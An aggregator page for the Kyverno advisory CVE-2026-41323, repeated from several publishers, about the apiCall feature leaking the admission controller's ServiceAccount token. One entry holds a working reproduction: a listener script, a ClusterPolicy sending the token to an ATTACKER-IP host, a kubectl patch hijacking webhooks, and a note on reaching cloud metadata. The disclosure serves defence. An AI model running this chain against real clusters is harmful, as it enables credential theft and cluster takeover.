Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

Kyverno: ServiceAccount token leaked to external servers via apiCall service URL

CVSS 3.1 8.1 HIGHEUVD CVSS 3.1 8.1 CVSS 3.1 · [email protected] · Secondary 8.1 HIGHCVSS 3.1 · [email protected] · Primary 9.1 CRITICALCVSS_V3 Publisher rating HIGHFixed by github.com/kyverno/kyverno 1.17.0osv · severity unknownFixed by github.com/kyverno/kyverno 1.17.0KEV status unknown

cve-program · CVE-2026-41323

Published

Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to versions 1.18.0-rc1, 1.17.2-rc1, and 1.16.4, Kyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise. Versions 1.18.0-rc1, 1.17.2-rc1, and 1.16.4 patch the issue.

Read the publisher's advisory

euvd · EUVD-2026-25389

Published

Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to versions 1.18.0-rc1, 1.17.2-rc1, and 1.16.4, Kyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise. Versions 1.18.0-rc1, 1.17.2-rc1, and 1.16.4 patch the issue.

Read the publisher's advisory

nvd · CVE-2026-41323

Published

Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to versions 1.18.0-rc1, 1.17.2-rc1, and 1.16.4, Kyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise. Versions 1.18.0-rc1, 1.17.2-rc1, and 1.16.4 patch the issue.

Read the publisher's advisory

osv · GHSA-f9g8-6ppc-pqq4

Published

## Summary Kyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise. ## Affected version Tested on Kyverno v1.17.1 (Helm chart default installation). Likely affects all versions with apiCall service support. ## Details There are two issues that combine into one attack chain. The first is in `pkg/engine/apicall/executor.go` around line 138. The service URL from the policy spec goes straight into `http.NewRequestWithContext()`: ```go req, err := http.NewRequestWithContext(ctx, string(apiCall.Method), apiCall.Service.URL, data) ``` No scheme check, no IP restriction, no allowlist. The policy validation webhook (`pkg/validation/policy/validate.go`) only looks at JMESPath syntax. The second is at lines 155-159 of the same file. If the request doesn't already have an Authorization header, Kyverno reads its own SA token and injects it: ```go if req.Header.Get("Authorization") == "" { token := a.getToken() req.Header.Add("Authorization", "Bearer "+token) } ``` The token is the admission controller's long-lived SA token from `/var/run/secrets/kubernetes.io/serviceaccount/token`. With the default Helm install, this SA (`kyverno-admission-controller`) can read and PATCH both `MutatingWebhookConfiguration` and `ValidatingWebhookConfiguration`. ## Reproduction **Environment**: Kyverno v1.17.1, K3s v1.34.5, single-node cluster, default Helm install **Step 1**: Start an HTTP listener on an attacker machine: ```python # capture_server.py from http.server import HTTPServer, BaseHTTPRequestHandler import json, datetime class Handler(BaseHTTPRequestHandler): def do_GET(self): print(json.dumps({ "timestamp": str(datetime.datetime.now()), "path": self.path, "headers": dict(self.headers) }, indent=2)) self.send_response(200) self.send_header("Content-Type", "application/json") self.end_headers() self.wfile.write(b'{"ok": true}') HTTPServer(("0.0.0.0", 9999), Handler).serve_forever() ``` **Step 2**: Create a ClusterPolicy that calls the attacker server: ```yaml apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: ssrf-poc spec: validationFailureAction: Audit background: false rules: - name: exfil match: any: - resources: kinds: - Pod context: - name: exfil apiCall: service: url: "http://ATTACKER-IP:9999/steal" method: GET jmesPath: "@" validate: message: "check" deny: conditions: any: - key: "{{ exfil }}" operator: Equals value: "NEVER_MATCHES" ``` **Step 3**: Create any pod to trigger policy evaluation: ```bash kubectl run test --image=nginx ``` **Step 4**: The listener receives the SA token immediately: ``` Authorization: Bearer eyJhbGciOiJSUzI1NiIs... ``` Decoded JWT `sub` claim: `system:serviceaccount:kyverno:kyverno-admission-controller` Every subsequent pod creation sends the token again. No race condition, no timing — it fires every time. **Step 5**: Use the token to hijack webhooks: ```bash # Verify permissions kubectl auth can-i patch mutatingwebhookconfigurations \ --as=system:serviceaccount:kyverno:kyverno-admission-controller # yes # Patch the webhook to redirect to attacker kubectl patch mutatingwebhookconfiguration kyverno-policy-mutating-webhook-cfg \ --type='json' \ -p='[{"op":"replace","path":"/webhooks/0/clientConfig/url","value":"https://ATTACKER:443/mutate"}]' \ --token="eyJhbG..." ``` After this, every K8s API request that triggers the webhook goes to the attacker's server. The attacker can mutate any pod spec — inject containers, mount host paths, add privileged security contexts. ## Verified permissions of stolen token Tested with the default Helm installation: | Action | Result | |--------|--------| | List pods (all namespaces) | Allowed | | Read configmaps in kube-system | Allowed | | PATCH MutatingWebhookConfiguration | **Allowed** | | PATCH ValidatingWebhookConfiguration | **Allowed** | | Read secrets (cluster-wide) | Denied (per-NS only) | ## Impact An attacker who can create ClusterPolicy resources (or who compromises a service account with that permission) can steal Kyverno's admission controller token and use it to: 1. Hijack Kyverno's own mutating/validating webhooks 2. Intercept and modify every API request flowing through the cluster 3. Inject malicious containers, escalate privileges, exfiltrate secrets The token is also sent to internal endpoints — `http://169.254.169.254/latest/meta-data/` works, so on cloud-hosted clusters (EKS, GKE, AKS) this also leaks cloud IAM credentials. RBAC note: ClusterPolicy is a cluster-scoped resource, so creating one requires cluster-level RBAC. But in practice, platform teams often grant policy-write to team leads or automation pipelines. The auto-injection of the SA token is the unexpected part — nobody expects writing a policy to leak the controller's credentials.

Read the publisher's advisory

osv · GO-2026-5351

Published

Kyverno: ServiceAccount token leaked to external servers via apiCall service URL in github.com/kyverno/kyverno

Read the publisher's advisory

Affected versions, risk and source history

Related advisories and sources

Publishers link these advisories through the identifiers shown below. A shared identifier or date alone does not tell you whether your software is affected or whether the advisories describe the same cause.

CVE-2026-41323 · CVE overview and exploitation status

EUVD-2026-25389

GHSA-f9g8-6ppc-pqq4

BIT-kyverno-2026-41323

GO-2026-5351

cve-program · CVE-2026-41323

euvd · EUVD-2026-25389

nvd · CVE-2026-41323

osv · GHSA-f9g8-6ppc-pqq4

osv · GO-2026-5351

Related changes

Linked by CVE identifier

No related changes are available here.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 15 Nov 18:02 UTC · 254 of 275 readable · 250 fully read · documentation 469/469 current